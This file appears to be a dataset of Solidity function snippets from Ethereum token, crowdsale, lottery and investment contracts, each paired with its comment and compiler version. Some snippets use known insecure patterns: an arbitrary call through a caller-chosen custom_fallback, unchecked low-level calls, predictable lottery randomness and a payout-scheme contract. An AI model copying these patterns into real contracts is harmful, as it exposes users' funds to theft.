{"comment": "/* Initializes contract with initial supply tokens to the creator of the contract */", "function_code": "function KEKEcon(){\r\n balanceOf[msg.sender] = 100000000000000000; // Give the creator all initial tokens\r\n totalSupply = 100000000000000000; // Update total supply\r\n name = \"KEKEcon\"; // Set the name for display purposes\r\n symbol = \"KEKEcon\"; // Set the symbol for display purposes\r\n decimals = 8; // Amount of decimals for display purposes\r\n }", "version": "0.4.23"} {"comment": "/* Internal transfer, only can be called by this contract */", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead\r\n require (balanceOf[_from] >= _value); // Check if the sender has enough\r\n require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows\r\n balanceOf[_from] -= _value; // Subtract from the sender\r\n balanceOf[_to] += _value; // Add the same to the recipient\r\n Transfer(_from, _to, _value);\r\n }", "version": "0.4.23"} {"comment": "/// @notice Remove `_value` tokens from the system irreversibly\n/// @param _value the amount of money to burn", "function_code": "function burn(uint256 _value) returns (bool success) {\r\n require (balanceOf[msg.sender] >= _value); // Check if the sender has enough\r\n balanceOf[msg.sender] -= _value; // Subtract from the sender\r\n totalSupply -= _value; // Updates totalSupply\r\n Burn(msg.sender, _value);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Distributes the rewards to the consumers. Returns the amount of customers that received tokens. Can only be called by Owner\r\n * @param dests Array of cosumer addresses\r\n * @param values Array of token amounts to distribute to each client\r\n */", "function_code": "function multisend(address[] dests, uint256[] values) public onlyOwner returns (uint256) {\r\n assert(dests.length == values.length);\r\n uint256 i = 0;\r\n while (i < dests.length) {\r\n assert(ERC20Basic(tokenAddress).transfer(dests[i], values[i]));\r\n emit RewardDistributed(dests[i], values[i]);\r\n dropAmount += values[i];\r\n i += 1;\r\n }\r\n numDrops += dests.length;\r\n return i;\r\n }", "version": "0.4.25"} {"comment": "//human 0.1 standard. Just an arbitrary versioning scheme.\n//\n// CHANGE THESE VALUES FOR YOUR TOKEN\n//\n//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token", "function_code": "function Breakbits(\r\n\r\n ) {\r\n\r\n balances[msg.sender] = 900000; // Give the creator all initial tokens (100000 for example)\r\n\r\n totalSupply = 900000; // Update total supply (100000 for example)\r\n\r\n name = \"Breakbits\"; // Set the name for display purposes\r\n\r\n decimals = 0; // Amount of decimals for display purposes\r\n\r\n symbol = \"BR20\"; // Set the symbol for display purposes\r\n\r\n }", "version": "0.4.25"} {"comment": "/* Approves and then calls the receiving contract */", "function_code": "function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {\r\n\r\n allowed[msg.sender][_spender] = _value;\r\n\r\n Approval(msg.sender, _spender, _value);\r\n\r\n\r\n //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.\r\n\r\n //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)\r\n\r\n //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.\r\n\r\n if(!_spender.call(bytes4(bytes32(sha3(\"receiveApproval(address,uint256,address,bytes)\"))), msg.sender, _value, this, _extraData)) { throw; }\r\n\r\n return true;\r\n\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Constrctor function\r\n *\r\n * Setup the owner\r\n */", "function_code": "function Crowdsale( ) {\r\n beneficiary = 0xe579891b98a3f58e26c4b2edb54e22250899363c;\r\n rate = 80000; // 8.000.000 TORC/Ether \r\n tokenDecimals=8;\r\n fundingGoal = 2500000000 * (10 ** tokenDecimals); \r\n start = 1536537600; // \r\n deadline = 1539129600; // \r\n bonusEndDate =1537156800;\r\n tokenReward = token(0xBD64a0d7330bc16c30aA1AE34eD2C329F6DB49C9); //Token address. Modify by the current token address\r\n }", "version": "0.4.24"} {"comment": "/*\r\n It calculates the amount of tokens to send to the investor \r\n */", "function_code": "function getNumTokens(uint _value) internal returns(uint numTokens) {\r\n require(_value>=10000000000000000 * 1 wei); //Min amount to invest: 0.01 ETH\r\n numTokens = safeMul(_value,rate)/(10 ** tokenDecimals); //Number of tokens to give is equal to the amount received by the rate \r\n \r\n if(now <= bonusEndDate){\r\n if(_value>= 1 ether && _value< 5 * 1 ether){ // +15% tokens\r\n numTokens += safeMul(numTokens,15)/100;\r\n }else if(_value>=5 * 1 ether){ // +35% tokens\r\n numTokens += safeMul(numTokens,35)/100;\r\n }\r\n }\r\n\r\n return numTokens;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Check if goal was reached\r\n *\r\n * Checks if the goal or time limit has been reached and ends the campaign and burn the tokens\r\n */", "function_code": "function checkGoalReached() afterDeadline {\r\n require(msg.sender == owner); //Checks if the one who executes the function is the owner of the contract\r\n if (tokensSold >=fundingGoal){\r\n GoalReached(beneficiary, amountRaised);\r\n }\r\n tokenReward.burn(tokenReward.balanceOf(this)); //Burns all the remaining tokens in the contract \r\n crowdsaleClosed = true; //The crowdsale gets closed if it has expired\r\n }", "version": "0.4.24"} {"comment": "// returns the current amount of wei that will be given for the purchase \n// at purchases[index]", "function_code": "function getEarnings(uint index) public constant returns (uint earnings, uint amount) {\r\n Purchase memory cpurchase;\r\n Purchase memory lpurchase;\r\n \r\n cpurchase = purchases[index];\r\n amount = cpurchase.amount;\r\n \r\n if (cpurchase.addr == address(0)) {\r\n return (0, amount);\r\n }\r\n \r\n earnings = (index == 0) ? acm : 0;\r\n lpurchase = purchases[purchases.length-1];\r\n earnings = earnings.add( lpurchase.sf.sub(cpurchase.sf) );\r\n earnings = earnings.mul(amount).div(acm);\r\n return (earnings, amount);\r\n }", "version": "0.4.20"} {"comment": "// Cash out Ether and Tangent at for the purchase at index \"index\".\n// All of the Ether and Tangent associated with with that purchase will\n// be sent to recipient, and no future withdrawals can be made for the\n// purchase.", "function_code": "function cashOut(uint index) public {\r\n require(0 <= index && index < purchases.length);\r\n require(purchases[index].addr == msg.sender);\r\n \r\n uint earnings;\r\n uint amount;\r\n uint tangles;\r\n \r\n (earnings, amount) = getEarnings(index);\r\n purchases[index].addr = address(0);\r\n require(earnings != 0 && amount != 0);\r\n netStakes = netStakes.sub(amount);\r\n \r\n tangles = earnings.mul(multiplier).div(divisor);\r\n CashOutEvent(index, msg.sender, earnings, tangles);\r\n NetStakesChange(netStakes);\r\n \r\n tokenContract.transfer(msg.sender, tangles);\r\n msg.sender.transfer(earnings);\r\n return;\r\n }", "version": "0.4.20"} {"comment": "// The fallback function used to purchase stakes\n// sf is the sum of the proportions of:\n// (ether of current purchase / sum of ether prior to purchase)\n// It is used to calculate earnings upon withdrawal.", "function_code": "function () public payable {\r\n require(msg.value != 0);\r\n \r\n uint index = purchases.length;\r\n uint sf;\r\n uint f;\r\n \r\n if (index == 0) {\r\n sf = 0;\r\n } else {\r\n f = msg.value.mul(acm).div(netStakes);\r\n sf = purchases[index-1].sf.add(f);\r\n }\r\n \r\n netStakes = netStakes.add(msg.value);\r\n purchases.push(Purchase(msg.sender, msg.value, sf));\r\n \r\n NetStakesChange(netStakes);\r\n PurchaseEvent(index, msg.sender, msg.value, sf);\r\n return;\r\n }", "version": "0.4.20"} {"comment": "/**\n * @dev Map root token to child token\n * @param _rootToken Token address on the root chain\n * @param _childToken Token address on the child chain\n * @param _isERC721 Is the token being mapped ERC721\n */", "function_code": "function mapToken(\n address _rootToken,\n address _childToken,\n bool _isERC721\n ) external onlyGovernance {\n require(_rootToken != address(0x0) && _childToken != address(0x0), \"INVALID_TOKEN_ADDRESS\");\n rootToChildToken[_rootToken] = _childToken;\n childToRootToken[_childToken] = _rootToken;\n isERC721[_rootToken] = _isERC721;\n IWithdrawManager(contractMap[WITHDRAW_MANAGER]).createExitQueue(_rootToken);\n emit TokenMapped(_rootToken, _childToken);\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// 10,000 TRT Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 13000;\r\n } else {\r\n tokens = msg.value * 10000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount.\n/// @param _from Address to transfer from.\n/// @param _to Address to transfer to.\n/// @param _value Amount to transfer.\n/// @return Success of transfer.", "function_code": "function transferFrom(address _from, address _to, uint _value)\r\n public\r\n returns (bool)\r\n {\r\n uint allowance = allowed[_from][msg.sender];\r\n if (balances[_from] >= _value\r\n && allowance >= _value\r\n && balances[_to] + _value >= balances[_to]\r\n ) {\r\n balances[_to] += _value;\r\n balances[_from] -= _value;\r\n if (allowance < MAX_UINT) {\r\n allowed[_from][msg.sender] -= _value;\r\n }\r\n Transfer(_from, _to, _value);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev transfer token for a specified address\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n * @param _data Optional metadata.\r\n */", "function_code": "function transfer(address _to, uint _value, bytes _data) public whenActivated returns (bool) {\r\n require(_to != address(0));\r\n require(_value <= balances[msg.sender]);\r\n require(!freezedList[msg.sender]);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n\r\n if (isContract(_to)) {\r\n TokenReciever receiver = TokenReciever(_to);\r\n receiver.tokenFallback(msg.sender, _value, _data);\r\n }\r\n\r\n Transfer(msg.sender, _to, _value);\r\n Transfer(msg.sender, _to, _value, _data);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Transfer tokens from one address to another\r\n * @param _from address The address which you want to send tokens from\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint the amount of tokens to be transferred\r\n * @param _data Optional metadata.\r\n */", "function_code": "function transferFrom(address _from, address _to, uint _value, bytes _data) public whenActivated returns (bool) {\r\n require(_to != address(0));\r\n require(_value <= balances[_from]);\r\n require(_value <= allowed[_from][msg.sender]);\r\n require(!freezedList[_from]);\r\n\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n\r\n if (isContract(_to)) {\r\n TokenReciever receiver = TokenReciever(_to);\r\n receiver.tokenFallback(_from, _value, _data);\r\n }\r\n\r\n Transfer(_from, _to, _value);\r\n Transfer(_from, _to, _value, _data);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Decrease the amount of tokens that an owner allowed to a spender.\r\n *\r\n * approve should be called when allowed[_spender] == 0. To decrement\r\n * allowed value is better to use this function to avoid 2 calls (and wait until\r\n * the first transaction is mined)\r\n * From MonolithDAO Token.sol\r\n * @param _spender The address which will spend the funds.\r\n * @param _subtractedValue The amount of tokens to decrease the allowance by.\r\n */", "function_code": "function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {\r\n uint oldValue = allowed[msg.sender][_spender];\r\n if (_subtractedValue > oldValue) {\r\n allowed[msg.sender][_spender] = 0;\r\n } else {\r\n allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);\r\n }\r\n Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Function to mint tokens\r\n * @param _to The address that will receive the minted tokens.\r\n * @param _amount The amount of tokens to mint.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function mint(address _to, uint _amount, bool freeze) canMint onlyMinter external returns (bool) {\r\n totalSupply = totalSupply.add(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n if (freeze) {\r\n freezedList[_to] = true;\r\n }\r\n Mint(_to, _amount);\r\n Transfer(address(0), _to, _amount);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// low level token purchase function", "function_code": "function buyTokens(address beneficiary) public whenNotPaused payable returns (bool) {\r\n uint weiAmount = msg.value;\r\n\r\n require(beneficiary != 0x0);\r\n require(weiAmount >= weiMinimumAmount);\r\n require(validPurchase(msg.value));\r\n \r\n // calculate token amount to be created\r\n uint tokenAmount = pricingStrategy.calculateTokenAmount(weiAmount, weiRaised);\r\n \r\n mintTokenToBuyer(beneficiary, tokenAmount, weiAmount);\r\n \r\n wallet.transfer(msg.value);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// ------------------------------------------------------------------------\n// Transfer the balance from owner's account to another account\n// ------------------------------------------------------------------------", "function_code": "function transfer(address _to, uint _amount) returns (bool success) {\r\n if (balances[msg.sender] >= _amount // User has balance\r\n && _amount > 0 // Non-zero transfer\r\n && balances[_to] + _amount > balances[_to] // Overflow check\r\n ) {\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "// ------------------------------------------------------------------------\n// Spender of tokens transfer an amount of tokens from the token owner's\n// balance to another account. The owner of the tokens must already\n// have approve(...)-d this transfer\n// ------------------------------------------------------------------------", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint _amount\r\n ) returns (bool success) {\r\n if (balances[_from] >= _amount // From a/c has balance\r\n && allowed[_from][msg.sender] >= _amount // Transfer approved\r\n && _amount > 0 // Non-zero transfer\r\n && balances[_to] + _amount > balances[_to] // Overflow check\r\n ) {\r\n balances[_from] = balances[_from].sub(_amount);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n Transfer(_from, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "//Get token Ids of all tokens owned by _owner", "function_code": "function walletOfOwner(address _owner)\r\n external\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 tokenCount = balanceOf(_owner);\r\n\r\n uint256[] memory tokensId = new uint256[](tokenCount);\r\n for (uint256 i = 0; i < tokenCount; i++) {\r\n tokensId[i] = tokenOfOwnerByIndex(_owner, i);\r\n }\r\n\r\n return tokensId;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Transfer given number of tokens from message sender to given recipient.\r\n *\r\n * @param _to address to transfer tokens to the owner of\r\n * @param _value number of tokens to transfer to the owner of given address\r\n * @return true if tokens were transferred successfully, false otherwise\r\n * accounts [_to] + _value > accounts [_to] for overflow check\r\n * which is already in safeMath\r\n */", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n require(_to != address(0));\r\n if (accounts [msg.sender] < _value) return false;\r\n if (_value > 0 && msg.sender != _to) {\r\n accounts [msg.sender] = safeSub (accounts [msg.sender], _value);\r\n accounts [_to] = safeAdd (accounts [_to], _value);\r\n }\r\n emit Transfer (msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.5.3"} {"comment": "// withdrawal of a still-good bid by the owner", "function_code": "function withdrawBid(uint8 col, uint8 row) external {\r\n\t\tuint16 index = getIndex(col, row);\r\n\t\tBid storage existingbid = bids[index];\r\n\t\trequire(msg.sender == existingbid.bidder, \"EtheriaEx: not existing bidder\");\r\n\r\n // to discourage bid withdrawal, take a cut\r\n\t\tuint256 fees = existingbid.amount.mul(withdrawalPenaltyRate).div(1000);\r\n\t\tcollectedFees += fees;\r\n\t\t\r\n\t\tuint256 amount = existingbid.amount.sub(fees);\r\n\t\t\r\n\t\texistingbid.bidder = address(0);\r\n\t\texistingbid.amount = 0;\r\n\t\t\r\n\t\tpayable(msg.sender).transfer(amount);\r\n\t\t\r\n\t\temit EtheriaBidWithdrawn(index, msg.sender, existingbid.amount);\r\n\t}", "version": "0.8.3"} {"comment": "/**\r\n * Create _value new tokens and give new created tokens to msg.sender.\r\n * May only be called by smart contract owner.\r\n *\r\n * @param _value number of tokens to create\r\n * @return true if tokens were created successfully, false otherwise\r\n */", "function_code": "function createTokens(uint256 _value) public\r\n returns (bool success) {\r\n require (msg.sender == owner);\r\n\r\n if (_value > 0) {\r\n if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;\r\n\t \r\n accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);\r\n tokenCount = safeAdd (tokenCount, _value);\r\n\t \r\n\t // adding transfer event and _from address as null address\r\n\t emit Transfer(address(0), msg.sender, _value);\r\n\t \r\n\t return true;\r\n }\r\n\t\r\n\t return false;\r\n \r\n }", "version": "0.5.3"} {"comment": "/**\r\n * @param _value number in array [1,2,3]\r\n */", "function_code": "function lottery(uint256 _value) public payable\r\n {\r\n uint256 maxbetsize = address(this).balance.mul(bankrollpercentage).div(100);\r\n require(msg.value <= maxbetsize);\r\n uint256 random = getRandomNumber(msg.sender) + 1;\r\n bool isWin = false;\r\n if (random == _value) {\r\n isWin = true;\r\n uint256 prize = msg.value.mul(180).div(100);\r\n if (prize <= address(this).balance) {\r\n msg.sender.transfer(prize);\r\n }\r\n }\r\n ownerWallet.transfer(msg.value.mul(10).div(100));\r\n \r\n emit Lottery(msg.sender, _value, msg.value, random, isWin);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Evaluate current balance\r\n * @param _address Address of investor\r\n */", "function_code": "function getBalance(address _address) view public returns (uint256) {\r\n uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);\r\n uint256 percent = investments[_address].mul(step).div(100);\r\n uint256 percentfinal = percent.div(2);\r\n uint256 different = percentfinal.mul(minutesCount).div(1440);\r\n uint256 balancetemp = different.sub(withdrawals[_address]);\r\n uint256 maxpayout = investments[_address].mul(maximumpercent).div(100);\r\n uint256 balancesum = withdrawalsgross[_address].add(balancetemp);\r\n \r\n if (balancesum <= maxpayout){\r\n return balancetemp;\r\n }\r\n \r\n else {\r\n uint256 balancenet = maxpayout.sub(withdrawalsgross[_address]);\r\n return balancenet;\r\n }\r\n \r\n \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Withdraw dividends from contract\r\n */", "function_code": "function withdraw() public returns (bool){\r\n require(joined[msg.sender] > 0);\r\n uint256 balance = getBalance(msg.sender);\r\n if (address(this).balance > balance){\r\n if (balance > 0){\r\n withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);\r\n withdrawalsgross[msg.sender] = withdrawalsgross[msg.sender].add(balance);\r\n uint256 maxpayoutfinal = investments[msg.sender].mul(maximumpercent).div(100);\r\n msg.sender.transfer(balance);\r\n if (withdrawalsgross[msg.sender] >= maxpayoutfinal){\r\n investments[msg.sender] = 0;\r\n withdrawalsgross[msg.sender] = 0;\r\n withdrawals[msg.sender] = 0;\r\n }\r\n emit Withdraw(msg.sender, balance);\r\n }\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the multiplication of two unsigned integers, reverting on\r\n * overflow.\r\n *\r\n * Counterpart to Solidity's `*` operator.\r\n *\r\n * Requirements:\r\n * - Multiplication cannot overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b, \"SafeMath: multiplication overflow\");\r\n\r\n return c;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Returns the integer division of two unsigned integers. Reverts with custom message on\r\n * division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity's `/` operator. Note: this function uses a\r\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n * uses an invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n * - The divisor cannot be zero.\r\n *\r\n * _Available since v2.4.0._\r\n */", "function_code": "function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n // Solidity only automatically asserts when dividing by 0\r\n require(b > 0, errorMessage);\r\n uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n\r\n return c;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * It is unsafe to assume that an address for which this function returns\r\n * false is an externally-owned account (EOA) and not a contract.\r\n *\r\n * Among others, `isContract` will return false for the following\r\n * types of addresses:\r\n *\r\n * - an externally-owned account\r\n * - a contract in construction\r\n * - an address where a contract will be created\r\n * - an address where a contract lived, but was destroyed\r\n * ====\r\n */", "function_code": "function isContract(address account) internal view returns (bool) {\r\n // According to EIP-1052, 0x0 is the value returned for not-yet created accounts\r\n // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned\r\n // for accounts without code, i.e. `keccak256('')`\r\n bytes32 codehash;\r\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly { codehash := extcodehash(account) }\r\n return (codehash != accountHash && codehash != 0x0);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\r\n * `recipient`, forwarding all available gas and reverting on errors.\r\n *\r\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\r\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\r\n * imposed by `transfer`, making them unable to receive funds via\r\n * `transfer`. {sendValue} removes this limitation.\r\n *\r\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\r\n *\r\n * IMPORTANT: because control is transferred to `recipient`, care must be\r\n * taken to not create reentrancy vulnerabilities. Consider using\r\n * {ReentrancyGuard} or the\r\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\r\n */", "function_code": "function sendValue(address payable recipient, uint256 amount) internal {\r\n require(address(this).balance >= amount, \"Address: insufficient balance\");\r\n\r\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(success, \"Address: unable to send value, recipient may have reverted\");\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Moves tokens `amount` from `sender` to `recipient`.\r\n *\r\n * This is internal function is equivalent to {transfer}, and can be used to\r\n * e.g. implement automatic token fees, slashing mechanisms, etc.\r\n *\r\n * Emits a {Transfer} event.\r\n *\r\n * Requirements:\r\n *\r\n * - `sender` cannot be the zero address.\r\n * - `recipient` cannot be the zero address.\r\n * - `sender` must have a balance of at least `amount`.\r\n */", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual{\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n \r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(amount);\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Destroys `amount` tokens from `account`, reducing the\r\n * total supply.\r\n *\r\n * Emits a {Transfer} event with `to` set to the zero address.\r\n *\r\n * Requirements\r\n *\r\n * - `account` cannot be the zero address.\r\n * - `account` must have at least `amount` tokens.\r\n */", "function_code": "function _burn(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: burn from the zero address\");\r\n\r\n _beforeTokenTransfer(account, address(0), amount);\r\n\r\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\r\n _totalSupply = _totalSupply.sub(amount);\r\n emit Transfer(account, address(0), amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.\r\n *\r\n * This is internal function is equivalent to `approve`, and can be used to\r\n * e.g. set automatic allowances for certain subsystems, etc.\r\n *\r\n * Emits an {Approval} event.\r\n *\r\n * Requirements:\r\n *\r\n * - `owner` cannot be the zero address.\r\n * - `spender` cannot be the zero address.\r\n */", "function_code": "function _approve(address owner, address spender, uint256 amount) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Prevent targets from sending or receiving tokens\r\n * @param targets Addresses to be frozen\r\n * @param isFrozen either to freeze it or not\r\n */", "function_code": "function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {\r\n require(targets.length > 0);\r\n\r\n for (uint j = 0; j < targets.length; j++) {\r\n require(targets[j] != 0x0);\r\n frozenAccount[targets[j]] = isFrozen;\r\n FrozenFunds(targets[j], isFrozen);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Prevent targets from sending or receiving tokens by setting Unix times\r\n * @param targets Addresses to be locked funds\r\n * @param unixTimes Unix times when locking up will be finished\r\n */", "function_code": "function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {\r\n require(targets.length > 0\r\n && targets.length == unixTimes.length);\r\n \r\n for(uint j = 0; j < targets.length; j++){\r\n require(unlockUnixTime[targets[j]] < unixTimes[j]);\r\n unlockUnixTime[targets[j]] = unixTimes[j];\r\n LockedFunds(targets[j], unixTimes[j]);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Function that is called when a user or another contract wants to transfer funds\r\n */", "function_code": "function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {\r\n require(_value > 0\r\n && frozenAccount[msg.sender] == false \r\n && frozenAccount[_to] == false\r\n && now > unlockUnixTime[msg.sender] \r\n && now > unlockUnixTime[_to]);\r\n\r\n if (isContract(_to)) {\r\n require(balanceOf[msg.sender] >= _value);\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));\r\n Transfer(msg.sender, _to, _value, _data);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n } else {\r\n return transferToAddress(_to, _value, _data);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Standard function transfer similar to ERC20 transfer with no _data\r\n * Added due to backwards compatibility reasons\r\n */", "function_code": "function transfer(address _to, uint _value) public returns (bool success) {\r\n require(_value > 0\r\n && frozenAccount[msg.sender] == false \r\n && frozenAccount[_to] == false\r\n && now > unlockUnixTime[msg.sender] \r\n && now > unlockUnixTime[_to]);\r\n\r\n bytes memory empty;\r\n if (isContract(_to)) {\r\n return transferToContract(_to, _value, empty);\r\n } else {\r\n return transferToAddress(_to, _value, empty);\r\n }\r\n }", "version": "0.4.18"} {"comment": "// assemble the given address bytecode. If bytecode exists then the _addr is a contract.", "function_code": "function isContract(address _addr) private view returns (bool is_contract) {\r\n uint length;\r\n assembly {\r\n //retrieve the size of the code on target address, this needs assembly\r\n length := extcodesize(_addr)\r\n }\r\n return (length > 0);\r\n }", "version": "0.4.18"} {"comment": "// function that is called when transaction target is an address", "function_code": "function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {\r\n require(balanceOf[msg.sender] >= _value);\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n Transfer(msg.sender, _to, _value, _data);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// function that is called when transaction target is a contract", "function_code": "function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {\r\n require(balanceOf[msg.sender] >= _value);\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n ContractReceiver receiver = ContractReceiver(_to);\r\n receiver.tokenFallback(msg.sender, _value, _data);\r\n Transfer(msg.sender, _to, _value, _data);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Transfer tokens from one address to another\r\n * Added due to backwards compatibility with ERC20\r\n * @param _from address The address which you want to send tokens from\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amount of tokens to be transferred\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n require(_to != address(0)\r\n && _value > 0\r\n && balanceOf[_from] >= _value\r\n && allowance[_from][msg.sender] >= _value\r\n && frozenAccount[_from] == false \r\n && frozenAccount[_to] == false\r\n && now > unlockUnixTime[_from] \r\n && now > unlockUnixTime[_to]);\r\n\r\n balanceOf[_from] = balanceOf[_from].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Function to distribute tokens to the list of addresses by the provided amount\r\n */", "function_code": "function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {\r\n require(amount > 0 \r\n && addresses.length > 0\r\n && frozenAccount[msg.sender] == false\r\n && now > unlockUnixTime[msg.sender]);\r\n\r\n amount = 